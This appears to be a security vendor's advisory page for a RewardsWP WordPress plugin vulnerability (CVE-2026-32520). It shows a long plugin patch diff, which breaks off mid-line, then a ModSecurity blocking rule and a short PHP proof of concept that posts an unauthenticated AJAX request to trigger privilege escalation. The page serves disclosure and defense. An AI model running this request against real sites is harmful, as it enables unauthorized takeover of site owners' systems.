+	/**
 	 * Award points for purchase if conditions are met.
 	 *
+	 * This method updates existing 'pending' point entries to 'approved' when payment is confirmed.
+	 * If no pending entry exists, it creates a new one (fallback for compatibility).
+	 *
 	 * @since 1.0.1
 	 *
 	 * @param int $payment_id The payment ID.
@@ -844,7 +927,7 @@
 			return;
 		}

-		// Calculate points based on payment total.
+		// Recalculate points based on current payment total (payment may have changed).
 		$payment_total = $this->get_order_total( $payment_id );
 		$base_amount   = $earn_actions['purchase']['base_amount'] ?? get_default_points_base_amount();
 		$points        = (int) floor( ( $payment_total / $base_amount ) * $earn_actions['purchase']['points_per_dollar'] );
@@ -853,7 +936,58 @@
 			return;
 		}

-		// Create points entry.
+		// Check if a pending point entry exists for this payment.
+		$existing_points = get_points_entries(
+			[
+				'member_id'   => $member->id,
+				'source_type' => 'purchase',
+				'source_id'   => $payment_id,
+				'status'      => 'pending',
+			],
+			1,
+			1
+		);
+
+		if ( ! empty( $existing_points ) ) {
+			// Update existing pending entry to approved.
+			$update_result = $this->points_service->update_points_entry(
+				[
+					'member_id'   => absint( $member->id ),
+					'source_type' => 'purchase',
+					'source_id'   => $payment_id,
+					'points'      => $points,
+					'status'      => 'approved',
+					'note_public' => sprintf(
+						/* translators: %d: payment ID */
+						esc_html__( 'Points earned for payment #%d', 'rewardswp' ),
+						$payment_id
+					),
+				]
+			);
+
+			if ( is_a( $update_result, Point::class ) ) {
+				$update_result->update_meta( 'integration', $this->get_source() );
+			}
+
+			return;
+		}
+
+		// Fallback: Check if any point entry exists (approved or other status).
+		$any_existing_points = get_points_entries(
+			[
+				'member_id'   => $member->id,
+				'source_type' => 'purchase',
+				'source_id'   => $payment_id,
+			],
+			1,
+			1
+		);
+
+		if ( ! empty( $any_existing_points ) ) {
+			return; // Entry already exists, don't create duplicate.
+		}
+
+		// Create new points entry (fallback for compatibility with old data).
 		$points_entry = [
 			'member_id'   => absint( $member->id ),
 			'points'      => $points,
--- a/rewardswp/src/Integrations/WooCommerceIntegration.php
+++ b/rewardswp/src/Integrations/WooCommerceIntegration.php
@@ -182,11 +182,14 @@

 		add_action( 'woocommerce_new_order', [ $this, 'action_connect_referral_to_order' ] );
 		add_action( 'woocommerce_checkout_order_created', [ $this, 'action_connect_referral_to_order' ] );
+		add_action( 'woocommerce_new_order', [ $this, 'action_create_pending_purchase_points' ] );
+		add_action( 'woocommerce_checkout_order_created', [ $this, 'action_create_pending_purchase_points' ] );
 		add_action( 'woocommerce_order_status_completed', [ $this, 'action_process_reward_from_coupon' ] );
 		add_action( 'woocommerce_order_status_processing', [ $this, 'action_process_reward_from_coupon' ] );
 		add_action( 'woocommerce_order_status_completed', [ $this, 'action_convert_customer_into_advocate' ], 12 );
 		add_action( 'woocommerce_order_status_processing', [ $this, 'action_convert_customer_into_advocate' ], 12 );
 		add_action( 'woocommerce_order_status_on-hold', [ $this, 'action_convert_customer_into_advocate' ], 12 );
+		add_action( 'woocommerce_order_status_on-hold', [ $this, 'action_create_pending_purchase_points' ], 13 );
 		add_action( 'template_redirect', [ $this, 'action_hide_panel_from_cart_and_checkout_pages' ] );
 		add_action( 'woocommerce_customer_meta_updated', [ $this, 'action_keep_advocate_in_sync_with_customer_name_on_meta_update' ], 10, 4 );
 		add_action( 'woocommerce_new_order', [ $this, 'action_keep_advocate_in_sync_with_orders_billing_name' ] );
@@ -1029,8 +1032,93 @@
 	}

 	/**
+	 * Create pending purchase points entry when an order is created.
+	 *
+	 * This method creates a point entry with 'pending' status when an order is created.
+	 * The entry will be updated to 'approved' when payment is confirmed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int|WC_Order $order The order ID or object.
+	 *
+	 * @return void
+	 */
+	public function action_create_pending_purchase_points( $order ): void {
+		$order = is_int( $order ) ? $this->get_order( $order ) : $order;
+
+		if ( ! $order instanceof WC_Order ) {
+			return;
+		}
+
+		$earn_actions = get_option_value( EarnActionsOption::class );
+
+		// Check if purchase points are enabled and configured.
+		if ( empty( $earn_actions['purchase']['enabled'] ) || empty( $earn_actions['purchase']['points_per_dollar'] ) ) {
+			return;
+		}
+
+		$order_id = $order->get_id();
+
+		// Try to retrieve the member by its email.
+		$billing_email = (string) $order->get_billing_email();
+		$member        = get_member_by( 'email', $billing_email );
+
+		if ( is_null( $member ) ) {
+			return;
+		}
+
+		// Check if points entry already exists for this order (prevent duplicates).
+		$existing_points = get_points_entries(
+			[
+				'member_id'   => $member->id,
+				'source_type' => 'purchase',
+				'source_id'   => $order_id,
+			],
+			1,
+			1
+		);
+
+		if ( ! empty( $existing_points ) ) {
+			return;
+		}
+
+		// Calculate points based on order total.
+		$order_total = $order->get_total();
+		$base_amount = $earn_actions['purchase']['base_amount'] ?? get_default_points_base_amount();
+		$points      = (int) floor( ( $order_total / $base_amount ) * $earn_actions['purchase']['points_per_dollar'] );
+
+		if ( $points <= 0 ) {
+			return;
+		}
+
+		// Create pending points entry.
+		$points_entry = [
+			'member_id'   => absint( $member->id ),
+			'points'      => $points,
+			'type'        => 'earned',
+			'source_type' => 'purchase',
+			'source_id'   => $order_id,
+			'status'      => 'pending',
+			'note_public' => sprintf(
+				/* translators: %d: order ID */
+				esc_html__( 'Points pending for order #%d', 'rewardswp' ),
+				$order_id
+			),
+		];
+
+		$point = $this->points_service->create_points_entry( $points_entry, false, false );
+
+		if ( is_a( $point, Point::class ) ) {
+			$point->update_meta( 'integration', $this->get_source() );
+		}
+	}
+
+	/**
 	 * Award points for purchase if conditions are met.
 	 *
+	 * This method updates existing 'pending' point entries to 'approved' when payment is confirmed.
+	 * If no pending entry exists, it creates a new one (fallback for compatibility).
+	 *
 	 * @since 1.0.1
 	 *
 	 * @param int $order_id The order ID.
@@ -1064,22 +1152,67 @@
 			return;
 		}

-		// Check if points were already awarded for this order (prevent duplicates).
+		// Recalculate points based on current order total (order may have changed).
+		$order_total = $order->get_total();
+		$base_amount = $earn_actions['purchase']['base_amount'] ?? get_default_points_base_amount();
+		$points      = (int) floor( ( $order_total / $base_amount ) * $earn_actions['purchase']['points_per_dollar'] );
+
+		if ( $points <= 0 ) {
+			return;
+		}
+
+		// Check if a pending point entry exists for this order.
 		$existing_points = get_points_entries(
 			[
 				'member_id'   => $member->id,
 				'source_type' => 'purchase',
 				'source_id'   => $order_id,
+				'status'      => 'pending',
 			],
 			1,
 			1
 		);

 		if ( ! empty( $existing_points ) ) {
+			// Update existing pending entry to approved.
+			$update_result = $this->points_service->update_points_entry(
+				[
+					'member_id'   => absint( $member->id ),
+					'source_type' => 'purchase',
+					'source_id'   => $order_id,
+					'points'      => $points,
+					'status'      => 'approved',
+					'note_public' => sprintf(
+						/* translators: %d: order ID */
+						esc_html__( 'Points earned for order #%d', 'rewardswp' ),
+						$order_id
+					),
+				]
+			);
+
+			if ( is_a( $update_result, Point::class ) ) {
+				$update_result->update_meta( 'integration', $this->get_source() );
+			}
+
 			return;
 		}

-		// Calculate points based on order total.
+		// Fallback: Check if any point entry exists (approved or other status).
+		$any_existing_points = get_points_entries(
+			[
+				'member_id'   => $member->id,
+				'source_type' => 'purchase',
+				'source_id'   => $order_id,
+			],
+			1,
+			1
+		);
+
+		if ( ! empty( $any_existing_points ) ) {
+			return; // Entry already exists, don't create duplicate.
+		}
+
+		// Fallback: Calculate points based on order total for old data compatibility.
 		$order_total = $order->get_total();
 		$base_amount = $earn_actions['purchase']['base_amount'] ?? get_default_points_base_amount();
 		$points      = (int) floor( ( $order_total / $base_amount ) * $earn_actions['purchase']['points_per_dollar'] );
@@ -1627,6 +1760,69 @@
 	}

 	/**
+	 * Get incomplete orders for a member that are linked to referrals or rewards.
+	 *
+	 * Returns orders with status 'on-hold', 'pending', or 'processing' that are
+	 * associated with the member and linked to a referral or reward. These orders
+	 * represent pending points that will be earned once the order is completed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param Member $member Member instance.
+	 *
+	 * @return array Array of order IDs with their expected points.
+	 */
+	public function get_incomplete_orders_for_member( Member $member ): array {
+		if ( ! function_exists( 'wc_get_orders' ) ) {
+			return [];
+		}
+
+		$user_id = $member->user_id ?? 0;
+
+		if ( empty( $user_id ) ) {
+			return [];
+		}
+
+		// Get incomplete orders for this user.
+		$incomplete_statuses = [ 'on-hold', 'pending', 'processing' ];
+		$orders              = wc_get_orders(
+			[
+				'customer_id' => $user_id,
+				'status'      => $incomplete_statuses,
+				'limit'       => -1, // Get all incomplete orders.
+				'return'      => 'ids', // Return only order IDs for performance.
+			]
+		);
+
+		if ( empty( $orders ) ) {
+			return [];
+		}
+
+		// Filter orders that are linked to referrals or rewards.
+		$pending_orders = [];
+		foreach ( $orders as $order_id ) {
+			// Check if order has a referral linked to this member.
+			$referral = $this->get_order_referral( $order_id );
+			if ( $referral && $referral->advocate_id === $member->id ) {
+				// Calculate expected points for this order.
+				$order = $this->get_order( $order_id );
+				if ( $order ) {
+					$expected_points = $this->calculate_expected_purchase_points( $order );
+					if ( $expected_points > 0 ) {
+						$pending_orders[] = [
+							'order_id'        => $order_id,
+							'expected_points' => $expected_points,
+							'status'          => $order->get_status(),
+						];
+					}
+				}
+			}
+		}
+
+		return $pending_orders;
+	}
+
+	/**
 	 * Map the coupon data from an external source to WooCommerce format.
 	 *
 	 * @since 1.0.0
--- a/rewardswp/src/Models/Point.php
+++ b/rewardswp/src/Models/Point.php
@@ -12,6 +12,7 @@
 use AwesomemotiveRewardswpDatabaseTablesPointsTable;
 use InvalidArgumentException;
 use function AwesomemotiveRewardswpHelpersget_current_time;
+use function AwesomemotiveRewardswpHelpersget_member;

 /**
  * Class Point
@@ -139,6 +140,14 @@
 	];

 	/**
+	 * Static array to track member IDs that need points balance recalculation after deletion.
+	 *
+	 * @since 1.1.0
+	 * @var array
+	 */
+	private static array $members_to_update = [];
+
+	/**
 	 * Constructor.
 	 *
 	 * @param DatabaseHandler $db_handler
@@ -309,4 +318,92 @@
 			number_format( $this->points )
 		);
 	}
+
+	/**
+	 * Run before the point entry is deleted.
+	 *
+	 * Tracks the member ID for points balance recalculation after deletion.
+	 *
+	 * @since 1.1.0
+	 *
+	 * @return void
+	 */
+	public function before_delete(): void {
+		if ( empty( $this->member_id ) ) {
+			return;
+		}
+
+		// Only update balance if this point entry was approved and affects the balance.
+		if ( 'approved' !== $this->status ) {
+			return;
+		}
+
+		// Track this member ID for batch update after deletion.
+		if ( ! in_array( $this->member_id, self::$members_to_update, true ) ) {
+			self::$members_to_update[] = $this->member_id;
+		}
+
+		// Schedule batch update after all deletions in this request.
+		if ( ! has_action( 'shutdown', [ self::class, 'update_members_points_balance_batch' ] ) ) {
+			add_action( 'shutdown', [ self::class, 'update_members_points_balance_batch' ], 999 );
+		}
+	}
+
+	/**
+	 * Batch update member points balance after point entries are deleted.
+	 *
+	 * This static method is called via shutdown hook to recalculate
+	 * points balance for all members whose point entries were deleted in this request.
+	 *
+	 * @since 1.1.0
+	 *
+	 * @return void
+	 */
+	public static function update_members_points_balance_batch(): void {
+		if ( empty( self::$members_to_update ) ) {
+			return;
+		}
+
+		// Remove duplicates.
+		$member_ids = array_unique( self::$members_to_update );
+
+		// Get PointsTable instance to access table name.
+		// We'll get it from the container via a temporary Point instance.
+		$container = am_rewardswp()->get_container();
+		if ( ! $container ) {
+			return;
+		}
+
+		$points_table = $container->get( PointsTable::class );
+		$points_table_name = $points_table->get_prefixed_table_name();
+
+		// Get DatabaseHandler instance.
+		$db_handler = $container->get( AwesomemotiveRewardswpDatabaseDatabaseHandler::class );
+
+		foreach ( $member_ids as $member_id ) {
+			$member = get_member( $member_id );
+
+			if ( is_null( $member ) ) {
+				continue;
+			}
+
+			// Recalculate balance based on remaining approved point entries.
+			// Calculate earned points.
+			$earned_sql = "SELECT COALESCE(SUM(points), 0) FROM {$points_table_name}
+					WHERE member_id = %d AND type = 'earned' AND status = 'approved'";
+			$points_earned = (int) $db_handler->get_var( $earned_sql, [ $member_id ] );
+
+			// Calculate spent points.
+			$spent_sql = "SELECT COALESCE(SUM(points), 0) FROM {$points_table_name}
+					WHERE member_id = %d AND type = 'spent' AND status = 'approved'";
+			$points_spent = (int) $db_handler->get_var( $spent_sql, [ $member_id ] );
+
+			// Update balance.
+			$member->points_balance = max( 0, $points_earned - $points_spent );
+			$member->update();
+		}
+
+		// Clear the array after processing.
+		self::$members_to_update = [];
+	}
 }
--- a/rewardswp/src/Models/Referral.php
+++ b/rewardswp/src/Models/Referral.php
@@ -60,6 +60,14 @@
 	protected bool $just_completed = false;

 	/**
+	 * Static array to track advocate IDs that need statistics recalculation after deletion.
+	 *
+	 * @since 1.1.0
+	 * @var array
+	 */
+	private static array $advocates_to_update = [];
+
+	/**
 	 * Properties representing referral fields.
 	 *
 	 * @since 1.0.0
@@ -298,6 +306,31 @@
 	}

 	/**
+	 * Run before the referral is deleted.
+	 *
+	 * Tracks the advocate ID for statistics recalculation after deletion.
+	 *
+	 * @since 1.1.0
+	 *
+	 * @return void
+	 */
+	public function before_delete(): void {
+		if ( empty( $this->advocate_id ) ) {
+			return;
+		}
+
+		// Track this advocate ID for batch update after deletion.
+		if ( ! in_array( $this->advocate_id, self::$advocates_to_update, true ) ) {
+			self::$advocates_to_update[] = $this->advocate_id;
+		}
+
+		// Schedule batch update after all deletions in this request.
+		if ( ! has_action( 'shutdown', [ self::class, 'update_advocates_statistics_batch' ] ) ) {
+			add_action( 'shutdown', [ self::class, 'update_advocates_statistics_batch' ], 999 );
+		}
+	}
+
+	/**
 	 * Run after the referral is saved (created or updated)
 	 *
 	 * @since 1.0.0
@@ -354,6 +387,56 @@
 	}

 	/**
+	 * Batch update advocate statistics after referrals are deleted.
+	 *
+	 * This static method is called via shutdown hook to recalculate
+	 * statistics for all advocates whose referrals were deleted in this request.
+	 *
+	 * @since 1.1.0
+	 *
+	 * @return void
+	 */
+	public static function update_advocates_statistics_batch(): void {
+		if ( empty( self::$advocates_to_update ) ) {
+			return;
+		}
+
+		// Remove duplicates.
+		$advocate_ids = array_unique( self::$advocates_to_update );
+
+		foreach ( $advocate_ids as $advocate_id ) {
+			$advocate = get_member( $advocate_id );
+
+			if ( is_null( $advocate ) ) {
+				continue;
+			}
+
+			$advocate->completed_referrals = count_referrals(
+				[
+					'advocate_id' => $advocate->id,
+					'status'      => 'completed',
+				]
+			);
+
+			$advocate->total_referrals = count_referrals(
+				[
+					'advocate_id' => $advocate->id,
+					'status'      =>
+						[
+							'pending',
+							'completed',
+						],
+				]
+			);
+
+			$advocate->update();
+		}
+
+		// Clear the array after processing.
+		self::$advocates_to_update = [];
+	}
+
+	/**
 	 * Get the reward associated with this referral.
 	 *
 	 * @since 1.0.0
--- a/rewardswp/src/Repositories/ActivityRepository.php
+++ b/rewardswp/src/Repositories/ActivityRepository.php
@@ -0,0 +1,380 @@
+<?php
+/**
+ * Activity Repository
+ *
+ * Handles complex queries for member activity logs.
+ * This repository provides data for activity panels in the frontend widget and admin areas.
+ *
+ * @package AwesomemotiveRewardswpRepositories
+ * @since 1.2.0
+ */
+
+namespace AwesomemotiveRewardswpRepositories;
+
+use AwesomemotiveRewardswpAbstractsAbstractRepository;
+use AwesomemotiveRewardswpDatabaseDatabaseHandler;
+use AwesomemotiveRewardswpDatabaseTablesMembersTable;
+use AwesomemotiveRewardswpDatabaseTablesPointsTable;
+use AwesomemotiveRewardswpDatabaseTablesReferralsTable;
+use AwesomemotiveRewardswpDatabaseTablesRewardsTable;
+use AwesomemotiveRewardswpFactoriesIntegrationsFactory;
+use AwesomemotiveRewardswpInterfacesIntegrationInterface;
+use function AwesomemotiveRewardswpHelpersget_active_integration_source;
+use function AwesomemotiveRewardswpHelpersget_member;
+use function AwesomemotiveRewardswpHelpersrewardswp_log_error;
+
+/**
+ * Class ActivityRepository
+ *
+ * Provides activity log queries for members:
+ * - Points activity (earned, spent, adjusted)
+ * - Referrals activity (clicks, conversions)
+ * - Rewards activity (issued, redeemed)
+ *
+ * All methods support pagination for lazy loading in the frontend.
+ *
+ * @since 1.2.0
+ */
+class ActivityRepository extends AbstractRepository {
+
+	/**
+	 * Members table instance.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @var MembersTable
+	 */
+	private MembersTable $members_table;
+
+	/**
+	 * Points table instance.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @var PointsTable
+	 */
+	private PointsTable $points_table;
+
+	/**
+	 * Referrals table instance.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @var ReferralsTable
+	 */
+	private ReferralsTable $referrals_table;
+
+	/**
+	 * Rewards table instance.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @var RewardsTable
+	 */
+	private RewardsTable $rewards_table;
+
+	/**
+	 * Integrations factory instance.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @var IntegrationsFactory
+	 */
+	private IntegrationsFactory $integrations_factory;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param DatabaseHandler    $db_handler         Database handler instance.
+	 * @param MembersTable       $members_table      Members table instance.
+	 * @param PointsTable        $points_table       Points table instance.
+	 * @param ReferralsTable     $referrals_table    Referrals table instance.
+	 * @param RewardsTable       $rewards_table      Rewards table instance.
+	 * @param IntegrationsFactory $integrations_factory Integrations factory instance.
+	 */
+	public function __construct(
+		DatabaseHandler $db_handler,
+		MembersTable $members_table,
+		PointsTable $points_table,
+		ReferralsTable $referrals_table,
+		RewardsTable $rewards_table,
+		IntegrationsFactory $integrations_factory
+	) {
+		parent::__construct( $db_handler );
+		$this->members_table        = $members_table;
+		$this->points_table         = $points_table;
+		$this->referrals_table      = $referrals_table;
+		$this->rewards_table        = $rewards_table;
+		$this->integrations_factory = $integrations_factory;
+	}
+
+	// ========================================================================
+	// Points Activity
+	// ========================================================================
+
+	/**
+	 * Get points activity for a member.
+	 *
+	 * Returns points entries with formatted data for display.
+	 * Includes: earned, spent, adjusted, refunded, expired points.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 * @param int $limit     Number of items to return. Default 10.
+	 * @param int $offset    Offset for pagination. Default 0.
+	 *
+	 * @return array Array of points activity entries.
+	 */
+	public function get_points_activity( int $member_id, int $limit = 10, int $offset = 0 ): array {
+		$sql = "
+			SELECT
+				p.id,
+				p.points,
+				p.type,
+				p.source_type,
+				p.source_id,
+				p.status,
+				p.note_public,
+				p.created_at
+			FROM {$this->points_table->get_prefixed_table_name()} p
+			WHERE p.member_id = %d
+			  AND p.status IN ('approved', 'pending')
+			ORDER BY p.created_at DESC
+			LIMIT %d OFFSET %d
+		";
+
+		return $this->query( $sql, [ $member_id, $limit, $offset ] );
+	}
+
+	/**
+	 * Count total points activity entries for a member.
+	 *
+	 * Used for pagination to determine if there are more items to load.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 *
+	 * @return int Total count of points activity entries.
+	 */
+	public function count_points_activity( int $member_id ): int {
+		$sql = "
+			SELECT COUNT(*) as count
+			FROM {$this->points_table->get_prefixed_table_name()} p
+			WHERE p.member_id = %d
+			  AND p.status IN ('approved', 'pending')
+		";
+
+		$result = $this->get_var( $sql, [ $member_id ] );
+
+		return (int) ( $result ?? 0 );
+	}
+
+	// ========================================================================
+	// Referrals Activity
+	// ========================================================================
+
+	/**
+	 * Get referrals activity for a member (as advocate).
+	 *
+	 * Returns referrals where the member is the advocate.
+	 * Includes: pending, completed, and rejected referrals.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 * @param int $limit     Number of items to return. Default 10.
+	 * @param int $offset    Offset for pagination. Default 0.
+	 *
+	 * @return array Array of referral activity entries.
+	 */
+	public function get_referrals_activity( int $member_id, int $limit = 10, int $offset = 0 ): array {
+		$sql = "
+			SELECT
+				r.id,
+				r.status,
+				r.referred_email,
+				r.referred_user_id,
+				r.order_id,
+				r.source,
+				r.created_at,
+				r.converted_at,
+				rm.first_name as referred_first_name,
+				rm.last_name as referred_last_name
+			FROM {$this->referrals_table->get_prefixed_table_name()} r
+			LEFT JOIN {$this->members_table->get_prefixed_table_name()} rm
+				ON r.referred_user_id = rm.user_id
+			WHERE r.advocate_id = %d
+			ORDER BY r.created_at DESC
+			LIMIT %d OFFSET %d
+		";
+
+		return $this->query( $sql, [ $member_id, $limit, $offset ] );
+	}
+
+	/**
+	 * Count total referrals activity entries for a member.
+	 *
+	 * Used for pagination to determine if there are more items to load.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 *
+	 * @return int Total count of referral activity entries.
+	 */
+	public function count_referrals_activity( int $member_id ): int {
+		$sql = "
+			SELECT COUNT(*) as count
+			FROM {$this->referrals_table->get_prefixed_table_name()} r
+			WHERE r.advocate_id = %d
+		";
+
+		$result = $this->get_var( $sql, [ $member_id ] );
+
+		return (int) ( $result ?? 0 );
+	}
+
+	// ========================================================================
+	// Rewards Activity
+	// ========================================================================
+
+	/**
+	 * Get rewards activity for a member.
+	 *
+	 * Returns rewards issued to the member, including redeemed ones.
+	 * Per pitch: "Show redeemed rewards as well".
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 * @param int $limit     Number of items to return. Default 10.
+	 * @param int $offset    Offset for pagination. Default 0.
+	 *
+	 * @return array Array of reward activity entries.
+	 */
+	public function get_rewards_activity( int $member_id, int $limit = 10, int $offset = 0 ): array {
+		$sql = "
+			SELECT
+				rw.id,
+				rw.status,
+				rw.reward_type,
+				rw.amount,
+				rw.referral_id,
+				rw.created_at,
+				rw.applied_at
+			FROM {$this->rewards_table->get_prefixed_table_name()} rw
+			WHERE rw.advocate_id = %d
+			ORDER BY rw.created_at DESC
+			LIMIT %d OFFSET %d
+		";
+
+		return $this->query( $sql, [ $member_id, $limit, $offset ] );
+	}
+
+	/**
+	 * Count total rewards activity entries for a member.
+	 *
+	 * Used for pagination to determine if there are more items to load.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 *
+	 * @return int Total count of reward activity entries.
+	 */
+	public function count_rewards_activity( int $member_id ): int {
+		$sql = "
+			SELECT COUNT(*) as count
+			FROM {$this->rewards_table->get_prefixed_table_name()} rw
+			WHERE rw.advocate_id = %d
+		";
+
+		$result = $this->get_var( $sql, [ $member_id ] );
+
+		return (int) ( $result ?? 0 );
+	}
+
+	// ========================================================================
+	// Pending Points
+	// ========================================================================
+
+	/**
+	 * Get pending points for a member from incomplete orders.
+	 *
+	 * Calculates pending points from orders that are linked to referrals/rewards
+	 * but haven't been completed yet. These are points that will be earned
+	 * once the order status changes to 'completed'.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $member_id Member ID.
+	 *
+	 * @return int Total pending points from incomplete orders.
+	 */
+	public function get_pending_points_for_member( int $member_id ): int {
+		// Get member instance.
+		$member = get_member( $member_id );
+		if ( ! $member ) {
+			rewardswp_log_error(
+				'Unable to retrieve member for pending points calculation',
+				[ 'member_id' => $member_id ]
+			);
+			return 0;
+		}
+
+		// Get active integration source.
+		$integration_source = get_active_integration_source();
+		if ( empty( $integration_source ) ) {
+			rewardswp_log_error(
+				'No active integration source found for pending points calculation',
+				[ 'member_id' => $member_id ]
+			);
+			return 0;
+		}
+
+		// Get integration instance to access order methods.
+		$integration = $this->integrations_factory->get_integration( $integration_source );
+		if ( ! $integration instanceof IntegrationInterface ) {
+			rewardswp_log_error(
+				'Integration instance is not valid for pending points calculation',
+				[
+					'member_id'          => $member_id,
+					'integration_source' => $integration_source,
+				]
+			);
+			return 0;
+		}
+
+		// Check if integration has the method (WooCommerce only for now).
+		if ( ! method_exists( $integration, 'get_incomplete_orders_for_member' ) ) {
+			rewardswp_log_error(
+				'Integration does not support get_incomplete_orders_for_member method',
+				[
+					'member_id'          => $member_id,
+					'integration_source' => $integration_source,
+				]
+			);
+			return 0;
+		}
+
+		// Get incomplete orders for this member.
+		$incomplete_orders = $integration->get_incomplete_orders_for_member( $member );
+
+		if ( empty( $incomplete_orders ) ) {
+			// This is expected when member has no incomplete orders, so no logging needed.
+			return 0;
+		}
+
+		// Sum up expected points from all incomplete orders.
+		$total_pending_points = 0;
+		foreach ( $incomplete_orders as $order_data ) {
+			$total_pending_points += (int) ( $order_data['expected_points'] ?? 0 );
+		}
+
+		return $total_pending_points;
+	}
+}
--- a/rewardswp/src/Services/ActivityFormatterService.php
+++ b/rewardswp/src/Services/ActivityFormatterService.php
@@ -0,0 +1,438 @@
+<?php
+/**
+ * Activity Formatter Service
+ *
+ * Handles formatting of activity log entries for frontend display.
+ *
+ * @package AwesomemotiveRewardswpServices
+ * @since 1.2.0
+ */
+
+namespace AwesomemotiveRewardswpServices;
+
+use AwesomemotiveRewardswpInterfacesIntegrationInterface;
+use function AwesomemotiveRewardswpHelpersformat_currency;
+use function AwesomemotiveRewardswpHelpersformat_name_first_and_initial;
+use function AwesomemotiveRewardswpHelpersget_human_readable_date;
+use function AwesomemotiveRewardswpHelpersget_member;
+use function AwesomemotiveRewardswpHelpersget_referral;
+use function AwesomemotiveRewardswpHelpersget_reward;
+use function AwesomemotiveRewardswpHelpersget_reward_display_title_from_values;
+use function AwesomemotiveRewardswpHelpersmask_email;
+
+/**
+ * Activity Formatter Service.
+ *
+ * @since 1.2.0
+ */
+class ActivityFormatterService {
+	/**
+	 * Integration instance.
+	 *
+	 * @since 1.2.0
+	 * @var IntegrationInterface
+	 */
+	private IntegrationInterface $integration;
+
+	/**
+	 * Referrals service instance.
+	 *
+	 * @since 1.2.0
+	 * @var ReferralsService
+	 */
+	private ReferralsService $referrals_service;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param IntegrationInterface $integration       Integration instance.
+	 * @param ReferralsService     $referrals_service Referrals service instance.
+	 */
+	public function __construct(
+		IntegrationInterface $integration,
+		ReferralsService $referrals_service
+	) {
+		$this->integration       = $integration;
+		$this->referrals_service = $referrals_service;
+	}
+
+	/**
+	 * Format points activity entries for frontend display.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param array $raw_items Raw points entries from repository.
+	 *
+	 * @return array Formatted activity items.
+	 */
+	public function format_points_activity( array $raw_items ): array {
+		$formatted = [];
+
+		foreach ( $raw_items as $item ) {
+			$source_type  = $item['source_type'] ?? '';
+			$source_id    = $item['source_id'] ?? null;
+			$points       = (int) ( $item['points'] ?? 0 );
+			$type         = $item['type'] ?? 'earned';
+			// 'expired' type is no longer used but kept f

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32520
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032520,phase:2,deny,status:403,chain,msg:'CVE-2026-32520 Unauthenticated Privilege Escalation in RewardsWP Plugin',severity:'CRITICAL',tag:'CVE-2026-32520',tag:'WordPress',tag:'Plugin-RewardsWP'"
  SecRule ARGS_POST:action "@streq rewardswp_clear_welcome_flow" 
    "chain"
    SecRule &ARGS_POST:nonce "@eq 0" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32520 - RewardsWP – Loyalty Points & Referral Program for WooCommerce <= 1.0.4 - Unauthenticated Privilege Escalation

<?php

$target_url = 'http://vulnerable-site.com';

// The vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Prepare the POST data. The only required parameter is the action.
$post_data = array(
    'action' => 'rewardswp_clear_welcome_flow'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    // A successful exploitation attempt may return a JSON success message.
    // The exact response may vary based on site configuration and user creation logic.
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School